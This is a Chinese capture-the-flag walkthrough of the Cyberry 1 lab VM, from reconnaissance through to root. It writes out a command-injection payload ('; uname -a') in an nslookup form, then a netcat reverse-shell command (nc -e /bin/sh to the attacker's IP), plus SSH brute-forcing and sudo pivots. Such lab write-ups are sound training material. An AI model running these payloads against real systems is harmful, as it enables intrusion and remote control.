本次渗透测试遵循PTES(渗透测试执行标准):
前期交互阶段
情报收集阶段
威胁建模阶段
漏洞分析阶段
渗透攻击阶段
后渗透攻击阶段
报告阶段
详见http://www.pentest-standard.org/index.php/Main_Page
环境介绍
练习靶机:Cyberry 1(https://www.vulnhub.com/entry/cyberry-1,217/)
使用系统:Kali Linux 2018.1 By Offensive Security
物理机:Windows 10 Pro Insider Preview Build 17-93.re_prerelease.180202-1400
虚拟化:VMware
目标
获取远程系统的root(根用户)权限(最高权限)
发现主机并识别开放服务
通过nmap(Network Mapper)快速扫描整个局域网后可以发现IP地址192.168.8.106为Cyberry的IP地址
既然已经确定了地址 接下来就需要扫描该主机上开放的端口以及服务版本号
开启Metasploit Framework 连接数据库 以便将扫描结果保存到数据库中
扫描完成后 可以通过数据库看到刚刚扫描的结果:
在远程主机的21端口开放着版本号为ProFTPD 1.3.5b 的ftp服务
在远程主机的22端口开放着版本号为OpenSSH 7.4p1 Debian 10+deb9u1 protocol 2.0 的ssh服务
在远程主机的80端口开放着版本号为Apache httpd 2.4.25 (Debian) 的 http服务
在远程主机的666端口开放着doom服务
首先先判断这几个服务版本是否有远程命令执行漏洞
通过在Metasploit Framework中搜索版本号暂未发现可使用的exploit(漏洞利用代码) 初步判定远程服务中没有漏洞
网页中的注释
既然开放了HTTP服务 那就通过浏览器访问一下 查看是否有可以利用的漏洞
发现远程主机默认主页为HTML格式 并且没有指向其它页面的链接
但是我在这个网页的源代码中发现了一些很有意思的东西:
..? 看到那几行绿的和红的注释了么 这几条注释 肯定有故事
可以看出这几条注释为Base64加密过后的密文 解密后是这几条信息:
看来最后两条注释暗示的是远程主机上的两个文件
secretfile.html打开后出现了一串二进制字符串
简单地写一个Python脚本 转换为字符串:
转换后的内容:
Huh? 这个文件貌似没有任何特殊的地方 抓包也没有发现什么特殊信息
那我们就来看看work-in-progress.png:
一看就有问题 我们再将请求发送一遍后可以看到Response中有一个字符串“edocrq” 这是二维码(qrcode)的reverse 重新组合这些字符就可以得到qrcode 也就是二维码
网页内容:
(好戏上场了)
每一个水果名字都指向一个文件 "Strawberry"和“Raspberry”指向的是正常的梅果图片 “Blueberry”至“Huckleberry”指向的文件提示404(在远程服务器上没有发现此文件) 我直接点了最后一个链接“HackBerry”出现了一张GIF:
呦呵..?
我尝试点击“Elderberry” 出现了这张图片:
一开始我没有研究这张照片 而是点击了berrypedia.html右上角的Login
出现了一个登陆界面:
我尝试输入“admin”,“123456” 提示没有此用户名 这其中隐藏着一个巨大的安全隐患:恶意攻击者可以知道用户名
当我把Username更改为“root” Password更改为“123456”时:
提示密码错误
我随便尝试了一个弱密码“password” 竟然登陆进去了
Huh..?
路径为/welcome.php
但是没有任何东西 看来这没有什么用处
Port Knocking
于是我又把焦点放在那张照片中:
忽然醒悟:这是要做Port Knocking 就是连接指定端口 让远程主机做出反应
于是就简单写了个Shell
扫描完之后发现远程主机上开放了61955端口:
又是一个HTTP服务
另一个HTTP服务
我在抓到的包中发现多了一个Cookie 说明我刚刚登陆起作用了
我尝试爬取这个目录下的所有文件/目录 发现了一个有趣的文件
What a hell..?
好像在哪里见到过这样的东西 想了半天 想起来这是一种叫做Brainf*ck的编程语言
编程语言!
在线的编译器编译出来是乱码 这个耗费了我好长时间 最后还是放弃了
既然我有Cookie 我就尝试访问welcome.php 看看这个文件是否存在
貌似成功了 这个界面比80端口的welcome.php多了一个链接 点开后发现是一个在线nslookup的php脚本 原理就是在远程主机上执行“nslookup [网址]” 那么既然是执行命令 就极有可能有远程命令执行漏洞
抓了个包发现要进行“nslookup”的网站就是数据包中的host=
在Linux中多个命令用“;”分割 我尝试在host参数的后面加入“; uname -a”来检测是否存在远程命令执行漏洞 :
成功输出远程系统版本信息 可以判断存在该漏洞
拿到Shell(远程主机的命令行)
一切都变得简单了
先监听本机的4444端口 以检测进入的连接
然后再数据包的host参数后添加上“nc -e /bin/sh 192.168.8.110 4444”
意思就是通过nc这个应用程序把本机的/bin/sh(命令行 或称Shell)连接到Kali Linux的4444端口上 也就是我们监听的端口 形成一个reverse shell(反射型Shell)
成功获取Shell
纵向提权
我们的目标是获取到远程主机的root(根用户)权限
我首先尝试了一下sudo -l 也就是查看www-root这个用户可以执行哪些更高级别的命令 发现这个用户可以暂时获得root权限 但是需要输入www-root的密码 由于我们不知道这个用户的密码 所以这条路暂时走不通
(刚刚误点了Ctrl+C 退出了 重新获取一遍Shell)
执行以下ls命令 -l -a 的意思就是输出所有文件(包括隐藏文件) 并输出详细信息
发现了一个文件“nb-latin”
里面是一些拉丁语的单词 这极有可能是密码
我们来看一下远程主机上都有哪些用户:
那么知道了用户字典 知道了密码字典 那就先把密码保存到本地:
再将用户名保存 尝试暴力破解:
呦呵..?
那就通过SSH以nick的身份连接远程主机 再次执行sudo -l 查看权限:
发现能够以“terry”的身份来执行/home/nick/makeberry以及/home/nick/invoke.sh
首先当然尝试.sh(Shell脚本)文件了:
获取到terry的shell
同样的方法 awk这个软件同样可以让我们拿到halle的shell:
同理 php也可以让我们拿到chuck的shell:
这个时候“sudo -l”就又不起作用了
那我们就看看chuck的目录底下都有哪些文件:
发现有一个名为deleted的隐藏文件夹(在Linux下隐藏文件/文件夹前会有“.”)
打开文件夹发现有一个名为“deleted”的文件 这一般都是敏感信息
Guess The Root Dance:猜密码
deleted中给出了root密码的提示:
那我们就根据这个提示来猜root的密码:
由于是四个词 che*baca*rry
能和che组成单词的就是w
那么结尾是merry还是berry?
我就蒙了一个:chewbacabemerry
尝试通过SSH登陆
I KNEW THE ROOT DANCE!
本次渗透测试总耗时大约3小时
领取专属 10元无门槛券
私享最新 技术干货